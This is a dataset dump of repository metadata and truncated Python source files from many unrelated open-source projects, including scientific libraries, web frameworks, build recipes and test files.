hexsha
stringlengths
40
40
size
int64
1
1.03M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
239
max_stars_repo_name
stringlengths
5
130
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
239
max_issues_repo_name
stringlengths
5
130
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
239
max_forks_repo_name
stringlengths
5
130
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
1
1.03M
avg_line_length
float64
1
958k
max_line_length
int64
1
1.03M
alphanum_fraction
float64
0
1
4a142bf75bc571805522d549393df6f64c2e7204
930
py
Python
blockchain-env/Lib/site-packages/pubnub/endpoints/file_operations/download_file_asyncio.py
zarif007/Block-Chain-Web-App
40bd4d8d8ce1f6de2840792290bf022d7dfacbb4
[ "MIT" ]
1
2020-12-30T09:30:23.000Z
2020-12-30T09:30:23.000Z
blockchain-env/Lib/site-packages/pubnub/endpoints/file_operations/download_file_asyncio.py
zarif007/Block-Chain-Web-App
40bd4d8d8ce1f6de2840792290bf022d7dfacbb4
[ "MIT" ]
null
null
null
blockchain-env/Lib/site-packages/pubnub/endpoints/file_operations/download_file_asyncio.py
zarif007/Block-Chain-Web-App
40bd4d8d8ce1f6de2840792290bf022d7dfacbb4
[ "MIT" ]
null
null
null
from pubnub.models.consumer.file import PNDownloadFileResult from pubnub.endpoints.file_operations.download_file import DownloadFileNative from pubnub.endpoints.file_operations.get_file_url import GetFileDownloadUrl class DownloadFileAsyncio(DownloadFileNative): def create_response(self, envelope, data=None): ...
37.2
78
0.721505
4a142c3693d1dbdc3f6cd84d39e3af568bf79552
163
py
Python
__tests__/fixtures/mysetup.py
vemel/nextversion
e09d78ca62b720004d7cf489288ac88e17cbb0cc
[ "MIT" ]
2
2021-03-22T17:48:22.000Z
2021-03-23T10:46:48.000Z
__tests__/fixtures/mysetup.py
vemel/nextversion
e09d78ca62b720004d7cf489288ac88e17cbb0cc
[ "MIT" ]
2
2021-03-24T23:35:55.000Z
2022-01-02T17:22:40.000Z
__tests__/fixtures/mysetup.py
vemel/nextversion
e09d78ca62b720004d7cf489288ac88e17cbb0cc
[ "MIT" ]
1
2021-07-26T20:52:08.000Z
2021-07-26T20:52:08.000Z
from setuptools import setup if __name__ == '__main__': setup( name='mypackage', version='2.3.4a5', description='My description' )
20.375
36
0.595092
4a142d9b59dd08279a5e3af3dddd287df434f5f7
594
py
Python
molsysmt/item/nglview_NGLWidget/to_string_aminoacids3.py
uibcdf/MolModMTs
4f6b6f671a9fa3e73008d1e9c48686d5f20a6573
[ "MIT" ]
null
null
null
molsysmt/item/nglview_NGLWidget/to_string_aminoacids3.py
uibcdf/MolModMTs
4f6b6f671a9fa3e73008d1e9c48686d5f20a6573
[ "MIT" ]
null
null
null
molsysmt/item/nglview_NGLWidget/to_string_aminoacids3.py
uibcdf/MolModMTs
4f6b6f671a9fa3e73008d1e9c48686d5f20a6573
[ "MIT" ]
null
null
null
from molsysmt._private.exceptions import * from molsysmt._private.digestion import * def to_string_aminoacids3(item, atom_indices='all', check=True): if check: digest_item(item, 'nglview.NGLWidget') atom_indices = digest_atom_indices(atom_indices) from . import to_molsysmt_Topology from ...
31.263158
100
0.786195
4a142e07503c47bc1e5332b062162dc9453b4c78
3,948
py
Python
test/test_inference.py
infer-actively/pymdp
4775054b0db53ec3f10b0b95eb6e78cc52f3588f
[ "MIT" ]
108
2020-12-08T06:45:28.000Z
2022-03-30T12:32:59.000Z
test/test_inference.py
infer-actively/pymdp
4775054b0db53ec3f10b0b95eb6e78cc52f3588f
[ "MIT" ]
16
2021-01-17T14:32:17.000Z
2022-03-13T16:39:00.000Z
test/test_inference.py
infer-actively/pymdp
4775054b0db53ec3f10b0b95eb6e78cc52f3588f
[ "MIT" ]
17
2021-01-01T15:02:47.000Z
2022-03-19T05:08:45.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Unit Tests __author__: Conor Heins, Alexander Tschantz, Daphne Demekas, Brennan Klein """ import os import unittest import numpy as np from pymdp import utils, maths from pymdp import inference class TestInference(unittest.TestCase): def test_update_posterior_...
34.631579
143
0.670466
4a142e3aa7d6455631311f4fe21b7d271d711368
5,819
py
Python
pytest/random_recon_gen.py
Sergej91/TheiaSfM
e603e16888456c3e565a2c197fa9f8643c176175
[ "BSD-3-Clause" ]
null
null
null
pytest/random_recon_gen.py
Sergej91/TheiaSfM
e603e16888456c3e565a2c197fa9f8643c176175
[ "BSD-3-Clause" ]
null
null
null
pytest/random_recon_gen.py
Sergej91/TheiaSfM
e603e16888456c3e565a2c197fa9f8643c176175
[ "BSD-3-Clause" ]
null
null
null
import pytheia as pt from scipy.spatial.transform import Rotation as R import numpy as np class RandomReconGenerator: def __init__(self, seed=42, verbose=False): self.seed = seed np.random.seed(self.seed) self.recon = pt.sfm.Reconstruction() self.nr_views = 0 self.camera...
42.166667
108
0.585668
4a142f2249f00547f3d9628abf93c9eac1a0dcf8
74,928
py
Python
applications/admin/controllers/default.py
jessicadelrio/HandyHouse
058e8981da850790c84f990fd2a3bbcf9aa695cc
[ "BSD-3-Clause" ]
2
2018-12-08T23:59:12.000Z
2019-02-13T23:04:36.000Z
applications/admin/controllers/default.py
jessicadelrio/HandyHouse
058e8981da850790c84f990fd2a3bbcf9aa695cc
[ "BSD-3-Clause" ]
null
null
null
applications/admin/controllers/default.py
jessicadelrio/HandyHouse
058e8981da850790c84f990fd2a3bbcf9aa695cc
[ "BSD-3-Clause" ]
3
2018-12-08T23:59:17.000Z
2019-02-13T23:04:38.000Z
# -*- coding: utf-8 -*- EXPERIMENTAL_STUFF = True MAXNFILES = 1000 if EXPERIMENTAL_STUFF: if is_mobile: response.view = response.view.replace('default/', 'default.mobile/') response.menu = [] import re from gluon.admin import * from gluon.fileutils import abspath, read_file, write_file from gluon...
37.259075
195
0.5483
4a1431efd3ae0c0e312c0f37bb9602947b5ee419
7,289
py
Python
utils/data/wy_dataset4.py
WuYff/ggnn.pytorch
795bc7fb51876231406d71610aa5ec7ed29865c0
[ "MIT" ]
null
null
null
utils/data/wy_dataset4.py
WuYff/ggnn.pytorch
795bc7fb51876231406d71610aa5ec7ed29865c0
[ "MIT" ]
null
null
null
utils/data/wy_dataset4.py
WuYff/ggnn.pytorch
795bc7fb51876231406d71610aa5ec7ed29865c0
[ "MIT" ]
null
null
null
import os import numpy as np # Can we assign -1 ? maybe it is better than 0. # data structure index starts from zero but node id value should start from one. # output a whole matrix def load_graphs_from_file(path: str,how_many:int) -> (list, int): data_list = [] max_node_id = 0 path_list=os.listdir(path) ...
40.049451
105
0.557278
4a14325d85a1e08181620a16eb0d3d4492ce20b7
8,869
py
Python
src/rez/utils/execution.py
alexey-pelykh/rez
ad12105d89d658e4d2ea9249e537b3de90391f0e
[ "Apache-2.0" ]
null
null
null
src/rez/utils/execution.py
alexey-pelykh/rez
ad12105d89d658e4d2ea9249e537b3de90391f0e
[ "Apache-2.0" ]
null
null
null
src/rez/utils/execution.py
alexey-pelykh/rez
ad12105d89d658e4d2ea9249e537b3de90391f0e
[ "Apache-2.0" ]
null
null
null
# SPDX-License-Identifier: Apache-2.0 # Copyright Contributors to the Rez Project """ Utilities related to process/script execution. """ from rez.vendor.six import six from rez.utils.yaml import dump_yaml from rez.vendor.enum import Enum from contextlib import contextmanager import subprocess import sys import stat ...
33.342105
99
0.642801
4a14327767ffb4a5a62e369f04814176c84959d4
1,612
py
Python
generate.py
hrw/very-simple-planet-aggregator
d3c9f8497a60d102d8789c442541d3322da09b87
[ "MIT" ]
3
2020-01-21T20:10:19.000Z
2020-05-26T08:53:16.000Z
generate.py
hrw/very-simple-planet-aggregator
d3c9f8497a60d102d8789c442541d3322da09b87
[ "MIT" ]
1
2020-01-22T09:04:43.000Z
2020-01-22T11:05:28.000Z
generate.py
hrw/very-simple-planet-aggregator
d3c9f8497a60d102d8789c442541d3322da09b87
[ "MIT" ]
null
null
null
#!/usr/bin/python3 # SPDX-License-Identifier: MIT from datetime import datetime from jinja2 import Environment, FileSystemLoader import sqlite3 import time MAX_ENTRIES_PER_FEED = 8 def filter_date(value, format='%d %B %Y'): return time.strftime(format, time.strptime(value, '%Y-%m-%d %H:%M:%S')) conn = sqlit...
25.587302
75
0.590571
4a1433e7af3a8ee2eeb57b2aa913e6fda0beb0c8
3,247
py
Python
advance_schedule.py
ethoel/pdf-to-db
db1a8a0d0d52405b394cf47df9fb38727afb34e6
[ "MIT" ]
null
null
null
advance_schedule.py
ethoel/pdf-to-db
db1a8a0d0d52405b394cf47df9fb38727afb34e6
[ "MIT" ]
null
null
null
advance_schedule.py
ethoel/pdf-to-db
db1a8a0d0d52405b394cf47df9fb38727afb34e6
[ "MIT" ]
null
null
null
import re import camelot import sqlite3 from datetime import datetime from datetime import date, timedelta # download pdf with wget # decrypt pdf with qpdf # qpdf --password=5290 --decrypt test.pdf camtest.pdf # convert pdf to text, can consider decreasing 5 if issues # pdftotext -opw 5290 -fixed 5 test.pdf # open ...
32.47
77
0.638743
4a14347f545b78f6d2a5ed830b21f4aa0356a37a
5,404
py
Python
src/hypercorn/workers.py
nonebot/nonecorn
813408d385f11b6bbdaee63d6b6ace8c87586d25
[ "MIT" ]
2
2021-11-29T05:56:51.000Z
2022-02-07T06:27:24.000Z
src/hypercorn/workers.py
nonebot/nonecorn
813408d385f11b6bbdaee63d6b6ace8c87586d25
[ "MIT" ]
3
2021-11-08T11:58:51.000Z
2021-12-09T11:29:54.000Z
src/hypercorn/workers.py
nonebot/nonecorn
813408d385f11b6bbdaee63d6b6ace8c87586d25
[ "MIT" ]
null
null
null
from typing import List, Callable, Awaitable, Any import asyncio import signal from functools import partial from gunicorn.workers.base import Worker from gunicorn.sock import TCPSocket from hypercorn.config import Config as _Config, Sockets from hypercorn.asyncio import serve as asyncio_serve class Config(_Config)...
37.79021
105
0.626388
4a143516a154185859a42455e60a96ec0630b4ea
586
py
Python
bin/pargec_gen.py
spiccinini/pargec
28257bda4209bc5d72eeb536fdd0e0ae1361aaa9
[ "MIT" ]
null
null
null
bin/pargec_gen.py
spiccinini/pargec
28257bda4209bc5d72eeb536fdd0e0ae1361aaa9
[ "MIT" ]
null
null
null
bin/pargec_gen.py
spiccinini/pargec
28257bda4209bc5d72eeb536fdd0e0ae1361aaa9
[ "MIT" ]
null
null
null
import os import imp import sys import argparse from pargec.c_generator import generate if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('protocol_file', help='path of the proto.py') parser.add_argument('output_header') parser.add_argument('output_source') parser....
27.904762
73
0.725256
4a14363ff1db48a5072cbb5f5eb3bc9241ffca8f
6,291
py
Python
benchmark/paddle/image/resnet.py
hero9968/PaddlePaddle-book
1ff47b284c565d030b198705d5f18b4bd4ce53e5
[ "Apache-2.0" ]
3
2018-04-16T23:35:32.000Z
2019-08-12T01:01:07.000Z
benchmark/paddle/image/resnet.py
hero9968/PaddlePaddle-book
1ff47b284c565d030b198705d5f18b4bd4ce53e5
[ "Apache-2.0" ]
null
null
null
benchmark/paddle/image/resnet.py
hero9968/PaddlePaddle-book
1ff47b284c565d030b198705d5f18b4bd4ce53e5
[ "Apache-2.0" ]
2
2020-11-04T08:07:46.000Z
2020-11-06T08:33:24.000Z
#!/usr/bin/env python from paddle.trainer_config_helpers import * height = 224 width = 224 num_class = 1000 batch_size = get_config_arg('batch_size', int, 64) layer_num = get_config_arg("layer_num", int, 50) is_infer = get_config_arg("is_infer", bool, False) args = { 'height': height, 'width': width, 'col...
27.471616
80
0.608488
4a14367c1e66fae99c3b3f1af568c8cd27275984
5,578
py
Python
recipes/netcdf/all/conanfile.py
marsven/conan-center-index
d8bb4ad617cee02d8664e8341fa32cdf702e4284
[ "MIT" ]
null
null
null
recipes/netcdf/all/conanfile.py
marsven/conan-center-index
d8bb4ad617cee02d8664e8341fa32cdf702e4284
[ "MIT" ]
1
2021-11-22T13:54:48.000Z
2021-11-22T14:09:45.000Z
recipes/netcdf/all/conanfile.py
marsven/conan-center-index
d8bb4ad617cee02d8664e8341fa32cdf702e4284
[ "MIT" ]
null
null
null
from conans import CMake, ConanFile, tools import os required_conan_version = ">=1.43.0" class NetcdfConan(ConanFile): name = "netcdf" description = ( "The Unidata network Common Data Form (netCDF) is an interface for " "scientific data access and a freely-distributed software library " ...
39.842857
111
0.639297
4a14379256198dcdef5568f6952aad7a71aae237
2,385
py
Python
aiida/backends/tests/utils/processes.py
PercivalN/aiida-core
b215ed5a7ce9342bb7f671b67e95c1f474cc5940
[ "BSD-2-Clause" ]
1
2019-07-31T04:08:13.000Z
2019-07-31T04:08:13.000Z
aiida/backends/tests/utils/processes.py
PercivalN/aiida-core
b215ed5a7ce9342bb7f671b67e95c1f474cc5940
[ "BSD-2-Clause" ]
null
null
null
aiida/backends/tests/utils/processes.py
PercivalN/aiida-core
b215ed5a7ce9342bb7f671b67e95c1f474cc5940
[ "BSD-2-Clause" ]
null
null
null
# -*- coding: utf-8 -*- ########################################################################### # Copyright (c), The AiiDA team. All rights reserved. # # This file is part of the AiiDA code. # # ...
27.732558
75
0.588679
4a1437b64c3429ddbce4181cbf6e22dcb14d841d
5,199
py
Python
waldur_core/cost_tracking/migrations/0001_squashed_0012_fix_fields_length.py
PrintScr/waldur-core
db9f46619984d9c1e8b62f1aba89a69369ade08a
[ "MIT" ]
null
null
null
waldur_core/cost_tracking/migrations/0001_squashed_0012_fix_fields_length.py
PrintScr/waldur-core
db9f46619984d9c1e8b62f1aba89a69369ade08a
[ "MIT" ]
null
null
null
waldur_core/cost_tracking/migrations/0001_squashed_0012_fix_fields_length.py
PrintScr/waldur-core
db9f46619984d9c1e8b62f1aba89a69369ade08a
[ "MIT" ]
1
2018-07-26T15:47:23.000Z
2018-07-26T15:47:23.000Z
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations import waldur_core.core.fields import django.core.validators import waldur_core.core.validators class Migration(migrations.Migration): replaces = [('cost_tracking', '0001_initial'), ('cost_tracking', '0002_...
59.079545
602
0.611271
4a1437d4be9cf29eaec7052a8a21bb1d7476eb51
5,235
py
Python
leo/plugins/qt_idle_time.py
thomasbuttler/leo-editor
c1bddc31313b7788f0d6583dcb4ab75db73e9a09
[ "MIT" ]
1,550
2015-01-14T16:30:37.000Z
2022-03-31T08:55:58.000Z
leo/plugins/qt_idle_time.py
thomasbuttler/leo-editor
c1bddc31313b7788f0d6583dcb4ab75db73e9a09
[ "MIT" ]
2,009
2015-01-13T16:28:52.000Z
2022-03-31T18:21:48.000Z
leo/plugins/qt_idle_time.py
thomasbuttler/leo-editor
c1bddc31313b7788f0d6583dcb4ab75db73e9a09
[ "MIT" ]
200
2015-01-05T15:07:41.000Z
2022-03-07T17:05:01.000Z
# -*- coding: utf-8 -*- #@+leo-ver=5-thin #@+node:ekr.20140907103315.18777: * @file ../plugins/qt_idle_time.py #@@first """Leo's Qt idle-time code.""" import time from leo.core import leoGlobals as g from leo.core.leoQt import QtCore #@+others #@+node:ekr.20141028061518.24: ** class IdleTime class IdleTime: """ ...
37.12766
83
0.587966
4a1438daad2371b1e6b1c2a571ceec2ea163170d
45,224
py
Python
python/taichi/lang/ast/ast_transformer.py
mzmzm/taichi
39129820a922fdd936728d6feb7944ae208345a5
[ "MIT" ]
null
null
null
python/taichi/lang/ast/ast_transformer.py
mzmzm/taichi
39129820a922fdd936728d6feb7944ae208345a5
[ "MIT" ]
null
null
null
python/taichi/lang/ast/ast_transformer.py
mzmzm/taichi
39129820a922fdd936728d6feb7944ae208345a5
[ "MIT" ]
null
null
null
import ast import collections.abc import inspect import os import warnings from collections import ChainMap from sys import version_info import astor from taichi._lib import core as _ti_core from taichi._lib.utils import package_root from taichi.lang import expr, impl, kernel_arguments, kernel_impl, matrix, mesh from ...
38.42311
117
0.554882
4a143a5a5fe163a09a02c538e2ad5a51f82788de
6,056
py
Python
src/zip_update.py
fullstackslayer/electric
de2bcda568284fd054815ecfaaa8d95a026c61f9
[ "Apache-2.0" ]
2
2021-05-16T06:54:13.000Z
2021-07-04T08:36:38.000Z
src/zip_update.py
vidhyanijadala/electric
de2bcda568284fd054815ecfaaa8d95a026c61f9
[ "Apache-2.0" ]
null
null
null
src/zip_update.py
vidhyanijadala/electric
de2bcda568284fd054815ecfaaa8d95a026c61f9
[ "Apache-2.0" ]
1
2021-07-02T13:30:39.000Z
2021-07-02T13:30:39.000Z
import json from json.decoder import JSONDecodeError import requests from Classes.Metadata import Metadata from Classes.PortablePacket import PortablePacket from extension import write from colorama import Fore from zip_utils import * import os import sys home = os.path.expanduser('~') def update_portable(ctx, pack...
46.584615
170
0.619551
4a143b03e676b27fbba0d9cb0105d34df3ae2dd3
2,188
py
Python
bin/Lib/urllib/response.py
yousafsyed/casperjs
ed077ae9e42cf8fb9e023e9b6840d3cea11bac40
[ "MIT" ]
36
2015-02-04T10:43:31.000Z
2022-03-30T13:01:12.000Z
bin/Lib/urllib/response.py
yousafsyed/casperjs
ed077ae9e42cf8fb9e023e9b6840d3cea11bac40
[ "MIT" ]
9
2015-03-17T05:56:16.000Z
2021-11-17T09:31:50.000Z
bin/Lib/urllib/response.py
yousafsyed/casperjs
ed077ae9e42cf8fb9e023e9b6840d3cea11bac40
[ "MIT" ]
22
2015-05-13T17:37:35.000Z
2022-01-25T06:24:42.000Z
"""Response classes used by urllib. The base class, addbase, defines a minimal file-like interface, including read() and readline(). The typical response object is an addinfourl instance, which defines an info() method that returns headers and a geturl() method that returns the url. """ import tempfile __all__ = ['...
28.415584
89
0.632541
4a143b684f319f7ad8e64fc1116d1e09fce8109a
81
py
Python
FusionIIIT/applications/ps1/apps.py
sabhishekpratap5/sonarcubeTest2
9bd8105e457f6feb8c38fa94b335e54783fca99e
[ "bzip2-1.0.6" ]
29
2019-02-20T15:35:33.000Z
2022-03-22T11:10:57.000Z
FusionIIIT/applications/ps1/apps.py
sabhishekpratap5/sonarcubeTest2
9bd8105e457f6feb8c38fa94b335e54783fca99e
[ "bzip2-1.0.6" ]
409
2019-01-17T19:30:51.000Z
2022-03-31T16:28:45.000Z
FusionIIIT/applications/ps1/apps.py
sabhishekpratap5/sonarcubeTest2
9bd8105e457f6feb8c38fa94b335e54783fca99e
[ "bzip2-1.0.6" ]
456
2019-01-12T11:01:13.000Z
2022-03-30T17:06:52.000Z
from django.apps import AppConfig class Ps1Config(AppConfig): name = 'ps1'
13.5
33
0.728395
4a143c9921e7b90bbdbcb8e9dc5d4caba638f04b
1,144
py
Python
tools/build/v2/test/core_actions_quietly.py
jmuskaan72/Boost
047e36c01841a8cd6a5c74d4e3034da46e327bc1
[ "BSL-1.0" ]
198
2015-01-13T05:47:18.000Z
2022-03-09T04:46:46.000Z
tools/build/v2/test/core_actions_quietly.py
xiaoliang2121/Boost
fc90c3fde129c62565c023f091eddc4a7ed9902b
[ "BSL-1.0" ]
4
2015-03-19T08:23:23.000Z
2019-06-24T07:48:47.000Z
tools/build/v2/test/core_actions_quietly.py
xiaoliang2121/Boost
fc90c3fde129c62565c023f091eddc4a7ed9902b
[ "BSL-1.0" ]
139
2015-01-15T20:09:31.000Z
2022-01-31T15:21:16.000Z
#!/usr/bin/python # Copyright 2007 Rene Rivera. # Copyright 2011 Steven Watanabe # Distributed under the Boost Software License, Version 1.0. # (See accompanying file LICENSE_1_0.txt or http://www.boost.org/LICENSE_1_0.txt) import BoostBuild t = BoostBuild.Tester(pass_toolset=0) t.write("file.jam", """...
19.066667
83
0.594406
4a143cdff8f8226b2f208d0ef1469dfef9738c76
919
py
Python
run.py
BrechtDewilde1/RoadToRotterdam
4531ee5d082215b29197781435c2f5a61a5607dc
[ "MIT" ]
null
null
null
run.py
BrechtDewilde1/RoadToRotterdam
4531ee5d082215b29197781435c2f5a61a5607dc
[ "MIT" ]
null
null
null
run.py
BrechtDewilde1/RoadToRotterdam
4531ee5d082215b29197781435c2f5a61a5607dc
[ "MIT" ]
null
null
null
# -*- encoding: utf-8 -*- """ Copyright (c) 2019 - present AppSeed.us """ from flask_migrate import Migrate from sys import exit from decouple import config from apps.config import config_dict from apps import create_app, db # WARNING: Don't run with debug turned on in production! DEBUG = config('DEBUG', default=Tru...
24.837838
78
0.712731
4a143e4148739ed033a54d5c155b8c9b27c2b094
52,993
py
Python
src/sage/quadratic_forms/binary_qf.py
dimpase/sagetrac-mirror
473cd41f19ec23df7e207391cfb0cf41c7c4ef46
[ "BSL-1.0" ]
10
2018-06-01T21:54:53.000Z
2022-03-14T20:11:34.000Z
src/sage/quadratic_forms/binary_qf.py
dimpase/sagetrac-mirror
473cd41f19ec23df7e207391cfb0cf41c7c4ef46
[ "BSL-1.0" ]
2
2021-04-02T20:43:29.000Z
2021-04-05T23:38:58.000Z
src/sage/quadratic_forms/binary_qf.py
dimpase/sagetrac-mirror
473cd41f19ec23df7e207391cfb0cf41c7c4ef46
[ "BSL-1.0" ]
15
2020-07-23T10:46:25.000Z
2022-01-25T15:37:24.000Z
""" Binary Quadratic Forms with Integer Coefficients This module provides a specialized class for working with a binary quadratic form `a x^2 + b x y + c y^2`, stored as a triple of integers `(a, b, c)`. EXAMPLES:: sage: Q = BinaryQF([1, 2, 3]) sage: Q x^2 + 2*x*y + 3*y^2 sage: Q.discriminant() ...
31.37537
142
0.467024
4a143e58a184bb21ae2ccd9e94c8505f112f4d6c
4,898
py
Python
docassemble_webapp/docassemble/webapp/sendgrid_mail.py
sadpe/docassemble
023fe1202d9ee8cc8a503811f8ecc4363a320c9e
[ "MIT" ]
null
null
null
docassemble_webapp/docassemble/webapp/sendgrid_mail.py
sadpe/docassemble
023fe1202d9ee8cc8a503811f8ecc4363a320c9e
[ "MIT" ]
null
null
null
docassemble_webapp/docassemble/webapp/sendgrid_mail.py
sadpe/docassemble
023fe1202d9ee8cc8a503811f8ecc4363a320c9e
[ "MIT" ]
null
null
null
# Adapted from flask_mail import time import requests from requests.auth import HTTPBasicAuth from flask_mail import Message, BadHeaderError, sanitize_addresses, email_dispatched, contextmanager, current_app from sendgrid import SendGridAPIClient from sendgrid.helpers.mail import Mail as SGMail, Attachment, FileContent...
37.389313
128
0.629645
4a143e9e1039fe36e14f7f84d19cc6e0ea69f733
30,537
py
Python
darling_ansible/python_venv/lib/python3.7/site-packages/oci/_vendor/chardet/big5freq.py
revnav/sandbox
f9c8422233d093b76821686b6c249417502cf61d
[ "Apache-2.0" ]
null
null
null
darling_ansible/python_venv/lib/python3.7/site-packages/oci/_vendor/chardet/big5freq.py
revnav/sandbox
f9c8422233d093b76821686b6c249417502cf61d
[ "Apache-2.0" ]
null
null
null
darling_ansible/python_venv/lib/python3.7/site-packages/oci/_vendor/chardet/big5freq.py
revnav/sandbox
f9c8422233d093b76821686b6c249417502cf61d
[ "Apache-2.0" ]
1
2020-06-25T03:12:58.000Z
2020-06-25T03:12:58.000Z
# coding: utf-8 # Modified Work: Copyright (c) 2018, 2020, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE...
83.663014
245
0.732816
4a143edef8ba6fc2a337d991bf11cd3a6e621e50
4,014
py
Python
metrics/bleu.py
songyouwei/TextGAN-PyTorch
6233ed5d22c1744b5a9890d89a16b60159a883e2
[ "MIT" ]
1
2020-11-25T07:38:26.000Z
2020-11-25T07:38:26.000Z
metrics/bleu.py
songyouwei/TextGAN-PyTorch
6233ed5d22c1744b5a9890d89a16b60159a883e2
[ "MIT" ]
null
null
null
metrics/bleu.py
songyouwei/TextGAN-PyTorch
6233ed5d22c1744b5a9890d89a16b60159a883e2
[ "MIT" ]
1
2020-10-02T11:15:04.000Z
2020-10-02T11:15:04.000Z
# -*- coding: utf-8 -*- # @Author : William # @Project : TextGAN-william # @FileName : bleu.py # @Time : Created at 2019-05-31 # @Blog : http://zhiweil.ml/ # @Description : # Copyrights (C) 2018. All Rights Reserved. from multiprocessing import Pool import nltk import os import random ...
38.228571
115
0.601893
4a143fb5b870f72e25fe815ae6aacdd485326f46
1,362
py
Python
reamber/osu/OsuHit.py
Bestfast/reamberPy
91b76ca6adf11fbe8b7cee7c186481776a4d7aaa
[ "MIT" ]
null
null
null
reamber/osu/OsuHit.py
Bestfast/reamberPy
91b76ca6adf11fbe8b7cee7c186481776a4d7aaa
[ "MIT" ]
null
null
null
reamber/osu/OsuHit.py
Bestfast/reamberPy
91b76ca6adf11fbe8b7cee7c186481776a4d7aaa
[ "MIT" ]
null
null
null
from __future__ import annotations from dataclasses import dataclass from reamber.base.Hit import Hit from reamber.osu.OsuNoteMeta import OsuNoteMeta @dataclass class OsuHit(Hit, OsuNoteMeta): @staticmethod def readString(s: str, keys: int) -> OsuHit or None: """ Reads a single line under the [Hitec...
33.219512
95
0.624816
4a143fbcc356a30a6cf78caefc16ed74e7d0c683
2,371
py
Python
bionumpy/util.py
knutdrand/bionumpy
2a520ebfce19f346284bd5cf21d6197f6ba801ba
[ "MIT" ]
null
null
null
bionumpy/util.py
knutdrand/bionumpy
2a520ebfce19f346284bd5cf21d6197f6ba801ba
[ "MIT" ]
null
null
null
bionumpy/util.py
knutdrand/bionumpy
2a520ebfce19f346284bd5cf21d6197f6ba801ba
[ "MIT" ]
1
2022-03-07T21:58:03.000Z
2022-03-07T21:58:03.000Z
import numpy as np import logging from npstructures import RaggedArray from .chromosome_map import ChromosomeMap logger = logging.getLogger(__name__) @ChromosomeMap() def filter_on_intervals(entry, sorted_intervals): if len(sorted_intervals) == 0: mask = np.full(entry.position.shape, False) else: ...
32.479452
81
0.668494
4a143fe232ec9355b36a907bea6943db4ca12fb3
14,510
py
Python
Bio/SeqUtils/__init__.py
ntamas/biopython
ff12c3dd533274678113ecdbd88b0136fb77e565
[ "PostgreSQL" ]
1
2022-01-18T22:33:06.000Z
2022-01-18T22:33:06.000Z
Bio/SeqUtils/__init__.py
ntamas/biopython
ff12c3dd533274678113ecdbd88b0136fb77e565
[ "PostgreSQL" ]
null
null
null
Bio/SeqUtils/__init__.py
ntamas/biopython
ff12c3dd533274678113ecdbd88b0136fb77e565
[ "PostgreSQL" ]
null
null
null
#!/usr/bin/env python # Created: Wed May 29 08:07:18 2002 # thomas@cbs.dtu.dk, Cecilia.Alsmark@ebc.uu.se # Copyright 2001 by Thomas Sicheritz-Ponten and Cecilia Alsmark. # All rights reserved. # This code is part of the Biopython distribution and governed by its # license. Please see the LICENSE file that should have ...
31.681223
90
0.594693
4a143ff074b55a07a287b8c48f93e79774b7ef21
1,073
py
Python
screen.py
gugus1974/thermostat_v4
9666889e8589318bb85e6125a72f7556696628f3
[ "MIT" ]
1
2018-06-11T16:56:00.000Z
2018-06-11T16:56:00.000Z
screen.py
gugus1974/thermostat_v4
9666889e8589318bb85e6125a72f7556696628f3
[ "MIT" ]
7
2017-11-28T08:00:03.000Z
2018-02-05T06:03:47.000Z
screen.py
gugus1974/thermostat_v4
9666889e8589318bb85e6125a72f7556696628f3
[ "MIT" ]
2
2017-11-29T08:52:46.000Z
2019-10-09T16:53:34.000Z
from kivy.app import App from kivy.lang import Builder from kivy.uix.screenmanager import ScreenManager, Screen # Create both screens. Please note the root.manager.current: this is how # you can control the ScreenManager from kv. Each screen has by default a # property manager that gives you the instance of the Screen...
23.844444
73
0.666356
4a1441c9dda394596cc16c0f1bcdce463cb37e5a
2,332
py
Python
moonv4/moon_orchestrator/conf/plugins/authz.py
hashnfv/hashnfv-moon
daaba34fa2ed4426bc0fde359e54a5e1b872208c
[ "Apache-2.0" ]
null
null
null
moonv4/moon_orchestrator/conf/plugins/authz.py
hashnfv/hashnfv-moon
daaba34fa2ed4426bc0fde359e54a5e1b872208c
[ "Apache-2.0" ]
null
null
null
moonv4/moon_orchestrator/conf/plugins/authz.py
hashnfv/hashnfv-moon
daaba34fa2ed4426bc0fde359e54a5e1b872208c
[ "Apache-2.0" ]
null
null
null
# Copyright 2015 Open Platform for NFV Project, Inc. and its contributors # This software is distributed under the terms and conditions of the 'Apache-2.0' # license which can be found in the file 'LICENSE' in this package distribution # or at 'http://www.apache.org/licenses/LICENSE-2.0'. import os import time import ...
34.294118
81
0.657804
4a144365c47d9def222fd8efbddd6756f3f179c4
2,510
py
Python
architectures/conll16st-hd-sdp/sup_parser_baseline_random.py
jimmycallin/master-thesis
5d30df288478ca944338eba353cbc2b84f415ee0
[ "MIT" ]
2
2016-06-21T12:34:23.000Z
2017-05-23T18:34:53.000Z
architectures/conll16st-hd-sdp/sup_parser_baseline_random.py
jimmycallin/master-thesis
5d30df288478ca944338eba353cbc2b84f415ee0
[ "MIT" ]
null
null
null
architectures/conll16st-hd-sdp/sup_parser_baseline_random.py
jimmycallin/master-thesis
5d30df288478ca944338eba353cbc2b84f415ee0
[ "MIT" ]
1
2020-06-17T14:07:50.000Z
2020-06-17T14:07:50.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- """Sample Discourse Relation Classifier ready for evaluation on TIRA evaluation system (supplementary evaluation) The parse should take three arguments $inputDataset = the folder of the dataset to parse. The folder structure is the same as in the tar file $inputData...
34.383562
83
0.65259
